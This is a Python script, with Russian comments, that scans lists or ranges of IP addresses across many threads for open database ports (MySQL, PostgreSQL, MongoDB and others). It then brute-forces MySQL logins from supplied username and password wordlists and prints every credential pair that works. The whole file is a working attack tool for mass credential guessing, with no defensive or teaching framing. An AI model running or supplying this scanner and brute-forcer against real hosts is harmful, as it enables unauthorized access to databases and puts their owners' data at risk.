123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112 |
- #!/usr/bin/python3
- import threading
- import socket
- from netaddr import *
- import sys
- import time
- import optparse
- import MySQLdb
- #функция много поточного запуска scan_port_db
- def thread(ip, port):
- t = threading.Thread(target=scan_port_db, args=(str(ip), port))
- t.start()
- time.sleep(0.001)
-
- def thread_brut_db(host, port):
- t = threading.Thread(target=brut_db, args=(host, port))
- t.start()
- time.sleep(0.5)
-
- #функция принимает адрес хоста и порт
- #и если находит передает в функцию брута лог\пас дб
- def scan_port_db(host, port):
- try:
- scan = socket.socket()
- scan.settimeout(1)
- scan.connect((host, port))
-
- print('[+] brut forse DB host: {} port {}'.format(host, port))
- #подбрутить дефолтных пользователей
- thread_brut_db(host, port)
-
- scan.close()
- except socket.error:
- pass
- except KeyboardInterrupt:
- user_input = input('[!] Для выхода нажмите y, или любую клавишу что-бы продолжить')
- if user_input == 'y':
- sys.exit()
-
- #функция перебора логина пороля бд
- def brut_db(host, port):
- with open(logins, 'r') as list_login:
- for user in list_login:
- user = user.replace('\n', '')
- with open(passwords, 'r') as list_pass:
- for password in list_pass:
- password = password.replace('\n', '')
- try:
- if port == 3306:
- connection = MySQLdb.connect(host=host, port=port, user=user, password=password, connect_timeout=1)
- print('[+] Host {} login: {} password: {}'.format(host, user, password))
- except Exception as e:
- print(e)
- #pass
- except KeyboardInterrupt:
- sys.exit()
-
- argument = optparse.OptionParser()
- argument.add_option('-i', '--ip', dest='ip', help='Путь до файла с ip-адресами')
- argument.add_option('-r', '--range-ip', dest='range_ip', help='Путь до файла с диапазонами ip-адресов')
- argument.add_option('-l', '--logins', dest='logins', help='Путь до файла с логинами')
- argument.add_option('-p', '--password', dest='passwords', help='Путь до файла с паролями')
-
- (options, arguments) = argument.parse_args()
-
- #стандартные порты
- ports = [5432, 3306, 27017, 210]
- logins = ''
- passwords = ''
- if not options.logins:
- pass
- elif not options.passwords:
- pass
- else:
- logins = options.logins
- passwords = options.passwords
-
- #чтение ip адресов формата 192.168.1.16
- #перебор ip аресов, пербор портов и передача в функцию сканирования
- if options.ip:
- #ports = [5432, 3306, 1433]
- with open(options.ip, 'r') as ip_list:
- for ip in ip_list:
- for port in ports:
- ip = ip.rstrip()
- thread(ip, port)
-
- #чтение диапазонов ip адресов формата 192.168.1.1/24
- #перебор диапазона, перебор портов и передача функции сканирования
- elif options.range_ip:
- #ports = [5432, 3306, 1433]
- with open(options.range_ip, 'r') as range_ip_list:
- for range_ip in range_ip_list:
- range_ip = range_ip.replace('\n', '')
- list_ip_addr = IPNetwork(range_ip)
- for ip_addr in list_ip_addr:
- for port in ports:
- thread(ip_addr, port)
-
- '''
- ip_range = '192.168.1.1/24'
- ports = [5432, 3306, 1433]
- #brut_force_range_ip(ip_range, ports)
- #get_argument()
- '''
-
|